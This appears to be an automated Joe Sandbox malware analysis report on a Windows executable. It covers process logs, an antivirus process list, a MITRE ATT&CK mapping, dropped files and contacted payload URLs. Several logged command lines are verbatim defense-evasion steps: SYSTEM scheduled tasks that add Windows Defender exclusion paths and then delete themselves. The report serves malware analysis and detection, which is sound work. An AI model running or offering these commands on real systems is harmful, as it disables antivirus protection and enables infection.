Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f	Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\programdata\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\users\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\program files (x86)\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"%userprofile%\documents\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\programdata\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\users\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\program files (x86)\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"%userprofile%\documents\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_00007FFDAC08FD40 cpuid

5_2_00007FFDAC08FD40

Source: C:\Users\user\Documents\EMp3o1.exe	Code function: GetLocaleInfoA,	5_2_000000014000F370
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: GetLocaleInfoA,	41_2_00716B1A
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Code function: GetLocaleInfoA,	42_2_001F6B1A

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_000000014000A370 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

5_2_000000014000A370

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_0000000140005A70 GetStartupInfoW,GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

5_2_0000000140005A70

Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avcenter.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: KSafeTray.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360Safe.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: rtvscan.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: ashDisp.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avgwdsvc.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: AYAgent.aye
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: QUHLPSVC.EXE
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: RavMonD.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe
Source: EMp3o1.exe, 00000005.00000002.2764651763.0000000002818000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: K7TSecurity.exe

Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_00000001400042B0 EnterCriticalSection,CancelWaitableTimer,SetEvent,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,RpcServerUnregisterIf,RpcMgmtStopServerListening,EnterCriticalSection,LeaveCriticalSection,DeleteCriticalSection,#4,#4,#4,LeaveCriticalSection,DeleteCriticalSection,#4,		5_2_00000001400042B0
Source: C:\Users\user\Documents\EMp3o1.exe	Code function: 5_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,		5_2_0000000140003F80

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	33 Windows Service	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	4 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	223 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Service Execution	1 Registry Run Keys / Startup Folder	33 Windows Service	1 DLL Side-Loading	NTDS	231 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Process Injection	32 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	1 Modify Registry	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2b687482300.6345827638.08.exe	12%	Virustotal		Browse
2b687482300.6345827638.08.exe	13%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\E2ky7uqb\tbcore3U.dll	100%	Avira	TR/Redcap.vdzex
C:\Program Files (x86)\G5CQjd\tbcore3U.dll	100%	Avira	TR/Redcap.vdzex
C:\Program Files (x86)\E2ky7uqb\tbcore3U.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\G5CQjd\tbcore3U.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	0%	ReversingLabs
C:\Program Files (x86)\G5CQjd\G5CQjd.exe	0%	ReversingLabs
C:\Users\Public\Music\destopbak.ini	0%	ReversingLabs
C:\Users\user\Documents\EMp3o1.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifW	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifhttps://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifhttp	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifq	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifo	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gif	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/d.gifo	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/i.dat	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gif	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-53.jpg	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/w	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gify	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gifJ	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gif	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gifA	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifo	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpg	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/s.dat	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/i.dat:	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/d.giff	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-52.jpg	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/s.jpg	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/a	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.giftsg	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/d.gif	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51.jpg	0%	Avira URL Cloud	safe
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifW	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.dat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	118.178.60.9	true	false	unknown
sc-257a.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	39.103.20.34	true	false	high
18.31.95.13.in-addr.arpa	unknown	unknown	false	high
cvqthu.net	unknown	unknown	false	unknown
msd1sq.oss-cn-beijing.aliyuncs.com	unknown	unknown	false	unknown
22mm.oss-cn-hangzhou.aliyuncs.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gif	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-53.jpg	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gif	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/i.dat	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gif	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpg	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/s.dat	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/s.jpg	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-52.jpg	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/d.gif	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51.jpg	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifq	2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifhttps://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifhttp	2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifo	2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/d.gifo	2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr, 189atohci.sys.0.dr	false		high
https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifW	2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/w	2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659978186.0000000004907000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	false		high
https://msd1sq.oss-cn-beijing.aliyuncs.com/	2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659978186.0000000004907000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gifJ	2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gify	2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/c.gifA	2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr, 189atohci.sys.0.dr	false		high
http://www.symauth.com/rpa00	2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe.0.dr	false		high
https://msd1sq.oss-cn-beijing.aliyuncs.com/b.gifo	2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/i.dat:	2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/d.giff	2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/a	2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659978186.0000000004907000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.giftsg	2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659933195.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622464887.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msd1sq.oss-cn-beijing.aliyuncs.com/a.gifW	2b687482300.6345827638.08.exe, 00000000.00000003.2597134323.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
118.178.60.9	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
39.103.20.34	sc-257a.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
8.217.47.169	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584369
Start date and time:	2025-01-05 10:09:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2b687482300.6345827638.08.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@65/29@12/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 88% Number of executed functions: 16 Number of non-executed functions: 116
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56, 13.95.31.18, 20.109.210.53
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target G5CQjd.exe, PID 4548 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:11:39	Task Scheduler	Run new task: lbo8Y path: C:\Users\user\Documents\EMp3o1.exe
10:12:13	Task Scheduler	Run new task: Task1 path: cmd.exe s>/c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
10:12:50	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskUA Task-S-1-5-18 mhBgH path: C:\Program Files (x86)\G5CQjd\G5CQjd.exe
10:12:52	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskUA Task-S-1-5-18 N6cBd path: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
118.178.60.9	45631.exe	Get hash	malicious	Nitol	Browse
	0000000000000000.exe	Get hash	malicious	Nitol	Browse
	T1#U5b89#U88c5#U52a9#U624b1.0.2.exe	Get hash	malicious	Nitol	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	45631.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	0000000000000000.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	T1#U5b89#U88c5#U52a9#U624b1.0.2.exe	Get hash	malicious	Nitol	Browse	118.178.60.9

